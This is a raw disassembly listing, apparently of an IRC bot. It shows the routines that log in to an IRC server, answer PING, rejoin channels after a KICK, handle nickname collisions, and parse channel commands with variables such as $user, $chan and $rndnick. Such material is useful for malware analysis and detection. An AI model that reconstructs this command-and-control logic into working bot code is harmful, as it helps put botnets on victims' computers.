push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_406A2F
add esp, 20h
mov edi, eax
push esi
call dword_42B468 ; closesocket
test edi, edi
jz loc_4068FF
cmp edi, 1
jnz short loc_406A11
push 0DBBA0h
jmp short loc_4069BA
; ---------------------------------------------------------------------------
loc_406A11: ; CODE XREF: sub_4068DA+12Ej
cmp edi, 2
jnz loc_4068FF
push [ebp+var_34]
call sub_40AD6A
pop ecx
push edi
pop eax
loc_406A25: ; CODE XREF: sub_4068DA+153j
pop edi
pop esi
leave
retn 4
; ---------------------------------------------------------------------------
loc_406A2B: ; CODE XREF: sub_4068DA+5Aj
xor eax, eax
jmp short loc_406A25
sub_4068DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406A2F proc near ; CODE XREF: sub_4068DA+112p
var_1BA0 = byte ptr -1BA0h
var_BA0 = byte ptr -0BA0h
var_240 = byte ptr -240h
var_1A0 = byte ptr -1A0h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1BA0h
call sub_40B690
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+var_1A0]
pop ecx
loc_406A4D: ; CODE XREF: sub_406A2F+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_406A4D
cmp byte_47F8AD, bl
jz short loc_406A74
push offset byte_47F8AD
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_40450F
add esp, 0Ch
loc_406A74: ; CODE XREF: sub_406A2F+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_4061FA
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_40B0B3
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_40B5B0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_42B420 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_406ADE
push [ebp+arg_0]
call dword_42B468 ; closesocket
push 1388h
call dword_417040 ; Sleep
loc_406AD7: ; CODE XREF: sub_406A2F+D9j
; sub_406A2F+153j
xor eax, eax
loc_406AD9: ; CODE XREF: sub_406A2F+16Fj
; sub_406A2F+177j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_406ADE: ; CODE XREF: sub_406A2F+92j
; sub_406A2F+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1BA0]
push esi
push ebx
push eax
call sub_40B630
add esp, 0Ch
lea eax, [ebp+var_1BA0]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_42B3EC ; recv
test eax, eax
jle short loc_406AD7
lea eax, [ebp+var_BA0]
push eax
lea eax, [ebp+var_1BA0]
push eax
call sub_405216
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_406ADE
lea edi, [ebp+var_BA0]
loc_406B2F: ; CODE XREF: sub_406A2F+165j
xor esi, esi
inc esi
loc_406B32: ; CODE XREF: sub_406A2F+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_240]
push eax
lea eax, [ebp+var_1A0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_406BAB
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_406B75
push 7D0h
call dword_417040 ; Sleep
jmp short loc_406B32
; ---------------------------------------------------------------------------
loc_406B75: ; CODE XREF: sub_406A2F+137j
cmp esi, 0FFFFFFFDh
jz short loc_406BA3
cmp esi, 0FFFFFFFEh
jz short loc_406B9B
cmp esi, 0FFFFFFFFh
jz loc_406AD7
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_406B2F
jmp loc_406ADE
; ---------------------------------------------------------------------------
loc_406B9B: ; CODE XREF: sub_406A2F+14Ej
xor eax, eax
inc eax
jmp loc_406AD9
; ---------------------------------------------------------------------------
loc_406BA3: ; CODE XREF: sub_406A2F+149j
push 2
pop eax
jmp loc_406AD9
sub_406A2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406BAB proc near ; CODE XREF: sub_406A2F+12Ap
var_E78 = byte ptr -0E78h
var_C78 = byte ptr -0C78h
var_A78 = byte ptr -0A78h
var_974 = byte ptr -974h
var_913 = byte ptr -913h
var_912 = byte ptr -912h
var_90F = byte ptr -90Fh
var_906 = byte ptr -906h
var_904 = byte ptr -904h
var_902 = byte ptr -902h
var_901 = byte ptr -901h
var_874 = byte ptr -874h
var_7F4 = dword ptr -7F4h
var_7F0 = dword ptr -7F0h
var_7EC = byte ptr -7ECh
var_770 = byte ptr -770h
var_6E8 = byte ptr -6E8h
var_670 = byte ptr -670h
var_5E4 = dword ptr -5E4h
var_5E0 = dword ptr -5E0h
var_5DC = dword ptr -5DCh
var_5D8 = byte ptr -5D8h
var_570 = dword ptr -570h
var_56C = dword ptr -56Ch
var_568 = dword ptr -568h
var_564 = dword ptr -564h
var_560 = dword ptr -560h
var_55C = dword ptr -55Ch
var_558 = dword ptr -558h
var_554 = dword ptr -554h
var_550 = dword ptr -550h
var_54C = byte ptr -54Ch
var_530 = byte ptr -530h
var_4D8 = dword ptr -4D8h
var_4D4 = byte ptr -4D4h
var_4C8 = dword ptr -4C8h
var_4C4 = byte ptr -4C4h
var_494 = byte ptr -494h
var_474 = dword ptr -474h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_434 = dword ptr -434h
var_430 = byte ptr -430h
var_420 = byte ptr -420h
var_40C = dword ptr -40Ch
var_404 = byte ptr -404h
var_3E8 = byte ptr -3E8h
var_3A0 = byte ptr -3A0h
var_384 = byte ptr -384h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = dword ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E4 = byte ptr -2E4h
var_E4 = byte ptr -0E4h
var_D8 = byte ptr -0D8h
var_D4 = dword ptr -0D4h
var_C8 = byte ptr -0C8h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_64 = byte ptr -64h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
sub esp, 0E78h
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2E4]
push ebx
push eax
mov [ebp+var_24], 3
mov [ebp+var_10], ebx
mov [ebp+var_A8], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_AC], ebx
call sub_40B630
push 1Bh
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push eax
call sub_40B110
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_406FF9
push esi
lea eax, [ebp+var_C78]
push ebx
push eax
call sub_40B630
dec esi
lea eax, [ebp+var_C78]
push esi
push [ebp+arg_0]
push eax
call sub_40B110
lea eax, [ebp+var_C78]
push offset asc_41D900 ; " :"
push eax
call sub_40CE60
mov [ebp+var_C], eax
lea eax, [ebp+var_C78]
push esi
push eax
lea eax, [ebp+var_E78]
push eax
call sub_40B110
mov esi, offset asc_41D8FC ; " "
lea eax, [ebp+var_E78]
push esi
push eax
call sub_40D07C
xor edi, edi
add esp, 34h
mov [ebp+var_A4], eax
inc edi
loc_406C6A: ; CODE XREF: sub_406BAB+D3j
push esi
push ebx
call sub_40D07C
mov [ebp+edi*4+var_A4], eax
inc edi
pop ecx
cmp edi, 20h
pop ecx
jl short loc_406C6A
mov esi, [ebp+var_A4]
cmp esi, ebx
jz loc_406FF9
cmp [ebp+var_A0], ebx
jz loc_406FF9
push 100h
lea eax, [ebp+var_974]
push ebx
push eax
call sub_40B630
add esp, 0Ch
push 1Fh
pop edx
loc_406CB2: ; CODE XREF: sub_406BAB+13Bj
lea ecx, [ebp+edx*4+var_A4]
mov eax, [ecx]
cmp eax, ebx
jz short loc_406CE5
cmp byte ptr [eax], 2Dh
jnz short loc_406CE8
cmp [eax+2], bl
jnz short loc_406CE8
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_974], 1
mov esi, [ebp+var_A4]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_406CE5: ; CODE XREF: sub_406BAB+112j
dec edx
jns short loc_406CB2
loc_406CE8: ; CODE XREF: sub_406BAB+117j
; sub_406BAB+11Cj
xor edi, edi
inc edi
cmp [ebp+var_901], bl
jz short loc_406CF6
mov [ebp+var_8], edi
loc_406CF6: ; CODE XREF: sub_406BAB+146j
cmp [ebp+var_906], bl
jz short loc_406D04
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_406D04: ; CODE XREF: sub_406BAB+151j
cmp byte ptr [esi], 0Ah
jz short loc_406D3E
push 7Fh
lea eax, [ebp+var_874]
push esi
push eax
call sub_40B110
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C8]
push eax
call sub_40B110
lea eax, [ebp+var_C8]
push offset asc_41D8F8 ; "!"
push eax
call sub_40D07C
add esp, 20h
loc_406D3E: ; CODE XREF: sub_406BAB+15Cj
push esi
push offset aPing ; "PING"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_406D8F
push [ebp+var_A0]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_40450F
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_406E33
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40450F
add esp, 10h
jmp loc_406E33
; ---------------------------------------------------------------------------
loc_406D8F: ; CODE XREF: sub_406BAB+1A2j
mov esi, [ebp+var_A0]
push esi
push offset a001 ; "001"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_40A0AA
push esi
push offset a005 ; "005"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_40A0AA
push esi
push offset a302 ; "302"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_406DFA
push offset a@ ; "@"
push [ebp+var_98]
call sub_40CE60
pop ecx
cmp eax, ebx
pop ecx
jz short loc_406E33
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_40B110
add esp, 0Ch
jmp short loc_406E33
; ---------------------------------------------------------------------------
loc_406DFA: ; CODE XREF: sub_406BAB+223j
push esi
push offset a433 ; "433"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_406E3A
push ebx
push dword_41C0F4
push dword_41C0F0
push [ebp+arg_10]
call sub_4061FA
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40450F
add esp, 1Ch
loc_406E33: ; CODE XREF: sub_406BAB+1C3j
; sub_406BAB+1DFj ...
mov eax, edi
jmp loc_406FFC
; ---------------------------------------------------------------------------
loc_406E3A: ; CODE XREF: sub_406BAB+25Ej
mov esi, [ebp+arg_18]
mov [ebp+var_B0], 2
mov edi, 80h
loc_406E4C: ; CODE XREF: sub_406BAB+2C6j
lea eax, [ebp+var_874]
push eax
push esi
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_406E69
mov [ebp+var_A8], 1
loc_406E69: ; CODE XREF: sub_406BAB+2B2j
add esi, edi
dec [ebp+var_B0]
jnz short loc_406E4C
mov esi, [ebp+var_A0]
push esi
push offset aKick ; "KICK"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz loc_406F52
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 2
loc_406E98: ; CODE XREF: sub_406BAB+36Cj
cmp [esi], bl
jz short loc_406F12
push 7Fh
lea eax, [ebp+var_874]
push esi
push eax
call sub_40B110
add esp, 0Ch
cmp [ebp+var_98], ebx
jz short loc_406F12
push [ebp+var_98]
lea eax, [ebp+var_C8]
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_406F12
lea eax, [ebp+var_C8]
mov [esi], bl
push eax
lea eax, [ebp+var_2E4]
push offset unk_41D888
push eax
call sub_40B0B3
lea eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_C8]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_40450F
lea eax, [ebp+var_2E4]
push eax
call sub_403145
add esp, 20h
loc_406F12: ; CODE XREF: sub_406BAB+2EFj
; sub_406BAB+309j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_406E98
push [ebp+var_98]
push [ebp+arg_10]
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz loc_406FF9
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_406F45: ; CODE XREF: sub_406BAB+5C8j
; sub_406BAB+806j ...
push [ebp+arg_4]
call sub_40450F
jmp loc_4099CF
; ---------------------------------------------------------------------------
loc_406F52: ; CODE XREF: sub_406BAB+2DDj
push esi
push offset aNick ; "NICK"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz loc_40708E
mov eax, [ebp+var_9C]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 2
mov [ebp+arg_24], eax
loc_406F7B: ; CODE XREF: sub_406BAB+422j
lea eax, [ebp+var_874]
push eax
push esi
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_406FC8
lea eax, [ebp+var_874]
push 21h
push eax
call sub_40CFC0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_406FC8
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_40CD70
push [ebp+arg_1C]
push edi
call sub_40CD80
add esp, 10h
mov edi, 80h
loc_406FC8: ; CODE XREF: sub_406BAB+3E1j
; sub_406BAB+3F8j
add esi, edi
dec [ebp+arg_0]
jnz short loc_406F7B
cmp [ebp+arg_24], ebx
jz short loc_406FF9
push [ebp+arg_10]
lea eax, [ebp+var_C8]
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_407001
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_40B110
add esp, 0Ch
loc_406FF9: ; CODE XREF: sub_406BAB+54j
; sub_406BAB+DDj ...
xor eax, eax
inc eax
loc_406FFC: ; CODE XREF: sub_406BAB+28Aj
; sub_406BAB+1EF2j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_407001: ; CODE XREF: sub_406BAB+43Cj
mov edi, [ebp+arg_18]
xor esi, esi
loc_407006: ; CODE XREF: sub_406BAB+47Cj
cmp [edi], bl
jz short loc_40701D
lea eax, [ebp+var_874]
push eax
push edi
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz short loc_40702B
loc_40701D: ; CODE XREF: sub_406BAB+45Dj
inc esi
add edi, 80h
cmp esi, 2
jl short loc_407006
jmp short loc_406FF9
; ---------------------------------------------------------------------------
loc_40702B: ; CODE XREF: sub_406BAB+470j
lea eax, [ebp+var_874]
push 21h
push eax
call sub_40CFC0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_406FF9
push eax
call sub_40B5B0
push [ebp+arg_24]
mov edi, eax
call sub_40B5B0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_406FF9
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS_0 ; ":%s%s"
push esi
call sub_40B0B3
push ebx
lea eax, [ebp+var_494]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_404555
add esp, 24h
jmp loc_406FF9
; ---------------------------------------------------------------------------
loc_40708E: ; CODE XREF: sub_406BAB+3B6j
push esi
push offset aPart ; "PART"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz short loc_4070B0
push esi
push offset aQuit ; "QUIT"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_4070D7
loc_4070B0: ; CODE XREF: sub_406BAB+4F2j
mov edi, [ebp+arg_18]
xor esi, esi
loc_4070B5: ; CODE XREF: sub_406BAB+52Aj
cmp [edi], bl
jz short loc_4070CB
push [ebp+var_A4]
push edi
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz short loc_407117
loc_4070CB: ; CODE XREF: sub_406BAB+50Cj
inc esi
add edi, 80h
cmp esi, 2
jl short loc_4070B5
loc_4070D7: ; CODE XREF: sub_406BAB+503j
push [ebp+var_A0]
push offset a353 ; "353"
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz loc_407178
push [ebp+var_94]
push [ebp+arg_8]
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz loc_406FF9
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
jmp loc_406FF9
; ---------------------------------------------------------------------------
loc_407117: ; CODE XREF: sub_406BAB+51Ej
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C8]
push eax
lea eax, [ebp+var_2E4]
push offset unk_41D838
push eax
call sub_40B0B3
lea eax, [ebp+var_2E4]
push eax
call sub_403145
push [ebp+var_A0]
push offset aPart ; "PART"
call sub_40C250
add esp, 18h
test eax, eax
jnz loc_406FF9
lea eax, [ebp+var_2E4]
push eax
mov eax, [ebp+var_A4]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_406F45
; ---------------------------------------------------------------------------
loc_407178: ; CODE XREF: sub_406BAB+540j
push [ebp+var_A0]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_40C250
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_4071CC
push [ebp+var_A0]
push edi
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz short loc_4071CC
push [ebp+var_A0]
push offset dword_41D834
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz loc_409F32
cmp dword_41C0DC, ebx
jz loc_409F32
loc_4071CC: ; CODE XREF: sub_406BAB+5E7j
; sub_406BAB+5F9j
push [ebp+var_A0]
push esi
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4072D0
push [ebp+var_A0]
push edi
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4072D0
mov eax, [ebp+var_98]
inc [ebp+var_94]
mov [ebp+var_24], 4
mov [ebp+var_9C], eax
loc_407211: ; CODE XREF: sub_406BAB+7DEj
; sub_406BAB+81Aj ...
mov eax, [ebp+var_24]
mov esi, eax
shl esi, 2
lea eax, [ebp+esi+var_A4]
mov ecx, [eax]
lea edi, [ecx+1]
mov [eax], edi
mov al, [ecx]
cmp al, byte_41C0E8
mov [ebp+arg_C], edi
jnz loc_406FF9
push edi
push offset dword_41D830
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409F3A
push edi
push offset dword_41D830
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_409F3A
cmp [ebp+var_A8], ebx
jnz short loc_407284
push [ebp+var_A0]
push offset dword_41D834
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz loc_409F32
loc_407284: ; CODE XREF: sub_406BAB+6BDj
cmp [ebp+arg_28], ebx
jnz loc_409F32
cmp dword_41C418, ebx
mov [ebp+arg_8], ebx
jle loc_407543
mov [ebp+arg_20], offset dword_42C1E0
loc_4072A3: ; CODE XREF: sub_406BAB+71Ej
push edi
push [ebp+arg_20]
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_4073F5
inc [ebp+arg_8]
add [ebp+arg_20], 0B8h
mov eax, [ebp+arg_8]
cmp eax, dword_41C418
jl short loc_4072A3
jmp loc_407543
; ---------------------------------------------------------------------------
loc_4072D0: ; CODE XREF: sub_406BAB+631j
; sub_406BAB+647j
push [ebp+var_A0]
push edi
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_4072E9
mov [ebp+var_4], 1
loc_4072E9: ; CODE XREF: sub_406BAB+735j
cmp [ebp+var_9C], ebx
jz loc_406FF9
push (offset loc_41990F+1)
push [ebp+var_9C]
call sub_40CE60
pop ecx
test eax, eax
pop ecx
jz short loc_407310
cmp [ebp+var_4], ebx
jz short loc_40731C
loc_407310: ; CODE XREF: sub_406BAB+75Ej
lea eax, [ebp+var_C8]
mov [ebp+var_9C], eax
loc_40731C: ; CODE XREF: sub_406BAB+763j
cmp [ebp+var_98], ebx
jz loc_406FF9
inc [ebp+var_98]
jz short loc_407363
cmp [ebp+arg_10], ebx
jz short loc_407363
lea eax, [ebp+var_54C]
push eax
call sub_40B5B0
push eax
lea eax, [ebp+var_54C]
push [ebp+var_98]
push eax
call sub_40D450
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp+var_24], eax
jmp short loc_407366
; ---------------------------------------------------------------------------
loc_407363: ; CODE XREF: sub_406BAB+783j
; sub_406BAB+788j
mov eax, [ebp+var_24]
loc_407366: ; CODE XREF: sub_406BAB+7B6j
mov esi, eax
shl esi, 2
mov edi, [ebp+esi+var_A4]
cmp edi, ebx
jz loc_406FF9
push edi
push offset dword_41D824
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz loc_407211
mov ecx, [ebp+var_9C]
cmp byte ptr [ecx], 23h
jz short loc_4073B6
mov eax, dword_47F8B4
mov eax, off_41C204[eax*4]
cmp [eax], bl
jz short loc_4073B6
push eax
push ecx
push offset dword_41D808
jmp loc_406F45
; ---------------------------------------------------------------------------
loc_4073B6: ; CODE XREF: sub_406BAB+7EDj
; sub_406BAB+7FDj
push edi
push offset dword_41D800
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz loc_407211
mov esi, [ebp+esi+var_A0]
cmp esi, ebx
jz loc_407211
mov eax, [ebp+var_9C]
cmp byte ptr [eax], 23h
jz loc_407211
push esi
push eax
push offset dword_41D7E8
jmp loc_406F45
; ---------------------------------------------------------------------------
loc_4073F5: ; CODE XREF: sub_406BAB+705j
push offset asc_41D900 ; " :"
push [ebp+arg_0]
call sub_40CE60
pop ecx
cmp eax, ebx
pop ecx
jz loc_406FF9
mov edi, [ebp+arg_8]
mov cl, byte_41C0E8
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_41C0E8
mov [eax+3], cl
lea ecx, dword_42C1F8[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_40B110
lea eax, dword_42C1E0[edi]
add esp, 0Ch
mov [ebp+arg_8], 0Fh
mov [ebp+arg_20], eax
lea edi, [ebp+esi+var_64]
loc_407453: ; CODE XREF: sub_406BAB+933j
push [ebp+arg_8]
lea eax, [ebp+var_20]
push offset aD_1 ; "$%d-"
push eax
call sub_40B0B3
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_40CE60
add esp, 14h
test eax, eax
jz short loc_4074AC
cmp [edi], ebx
jz short loc_4074B0
push [ebp+arg_20]
call sub_40B5B0
add [ebp+var_C], eax
pop ecx
jz short loc_4074D5
push dword ptr [edi-4]
push [ebp+var_C]
call sub_40CE60
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4074D5
push eax
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_405185
add esp, 0Ch
jmp short loc_4074D5
; ---------------------------------------------------------------------------
loc_4074AC: ; CODE XREF: sub_406BAB+8CAj
cmp [edi], ebx
jnz short loc_4074D5
loc_4074B0: ; CODE XREF: sub_406BAB+8CEj
lea eax, [ebp+var_20]
push 2
push eax
lea eax, [ebp+var_14]
push eax
call sub_40B110
lea eax, [ebp+var_14]
mov [ebp+var_12], bl
push eax
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_405185
add esp, 18h
loc_4074D5: ; CODE XREF: sub_406BAB+8DCj
; sub_406BAB+8EDj ...
dec [ebp+arg_8]
sub edi, 4
cmp [ebp+arg_8], ebx
jg loc_407453
lea eax, [ebp+esi+var_64]
mov [ebp+arg_8], 10h
mov edi, eax
loc_4074F1: ; CODE XREF: sub_406BAB+989j
push [ebp+arg_8]
lea eax, [ebp+var_20]
push offset aD_0 ; "$%d"
push eax
call sub_40B0B3
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_40CE60
add esp, 14h
test eax, eax
jz short loc_40752B
mov eax, [edi]
cmp eax, ebx
jz short loc_40752B
push eax
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_405185
add esp, 0Ch
loc_40752B: ; CODE XREF: sub_406BAB+968j
; sub_406BAB+96Ej
dec [ebp+arg_8]
sub edi, 4
cmp [ebp+arg_8], ebx
jg short loc_4074F1
mov edi, [ebp+arg_C]
mov [ebp+var_AC], 1
loc_407543: ; CODE XREF: sub_406BAB+6EBj
; sub_406BAB+720j
mov al, [edi]
cmp al, byte_41C0E8
jz short loc_407559
cmp [ebp+var_AC], ebx
jz loc_407715
loc_407559: ; CODE XREF: sub_406BAB+9A0j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_405185
lea eax, [ebp+var_C8]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_405185
push [ebp+var_9C]
push offset aChan ; "$chan"
push edi
call sub_405185
push ebx
push ebx
lea eax, [ebp+var_20]
push 2
push eax
call sub_4061FA
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_405185
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_405185
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_40CE60
add esp, 14h
jmp loc_407690
; ---------------------------------------------------------------------------
loc_4075CD: ; CODE XREF: sub_406BAB+AE7j
push edi
push [ebp+arg_0]
call sub_40CE60
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_40B110
lea eax, [ebp+var_20]
push offset asc_41D7A8 ; ")"
push eax
call sub_40D07C
add esp, 1Ch
cmp [ebp+var_20], 30h
jl short loc_407605
cmp [ebp+var_20], 39h
jle short loc_407618
loc_407605: ; CODE XREF: sub_406BAB+A52j
push 3
lea eax, [ebp+var_20]
push offset a63 ; "63"
push eax
call sub_40B110
add esp, 0Ch
loc_407618: ; CODE XREF: sub_406BAB+A58j
lea eax, [ebp+var_20]
push eax
call sub_40C3AF
test eax, eax
pop ecx
jle short loc_407635
lea eax, [ebp+var_20]
push eax
call sub_40C3AF
pop ecx
mov [ebp+var_14], al
jmp short loc_407646
; ---------------------------------------------------------------------------
loc_407635: ; CODE XREF: sub_406BAB+A79j
call sub_40B54F
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_14], dl
loc_407646: ; CODE XREF: sub_406BAB+A88j
lea eax, [ebp+var_20]
mov [ebp+var_13], bl
push eax
call sub_40B5B0
mov [ebp+arg_8], eax
push 0Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_40B630
mov eax, [ebp+arg_8]
add eax, 6
push eax
lea eax, [ebp+var_20]
push [ebp+arg_10]
push eax
call sub_40B110
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_405185
push edi
push [ebp+arg_0]
call sub_40CE60
add esp, 30h
loc_407690: ; CODE XREF: sub_406BAB+A1Dj
test eax, eax
jnz loc_4075CD
mov edi, 1FFh
lea eax, [ebp+var_C78]
push edi
push [ebp+arg_0]
push eax
call sub_40B110
lea eax, [ebp+var_C78]
push edi
push eax
lea eax, [ebp+var_E78]
push eax
call sub_40B110
mov edi, offset asc_41D8FC ; " "
lea eax, [ebp+var_E78]
push edi
push eax
call sub_40D07C
add esp, 20h
mov [ebp+var_A4], eax
mov [ebp+arg_8], 1
loc_4076E3: ; CODE XREF: sub_406BAB+B52j
push edi
push ebx
call sub_40D07C
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
inc [ebp+arg_8]
cmp [ebp+arg_8], 20h
mov [ebp+ecx*4+var_A4], eax
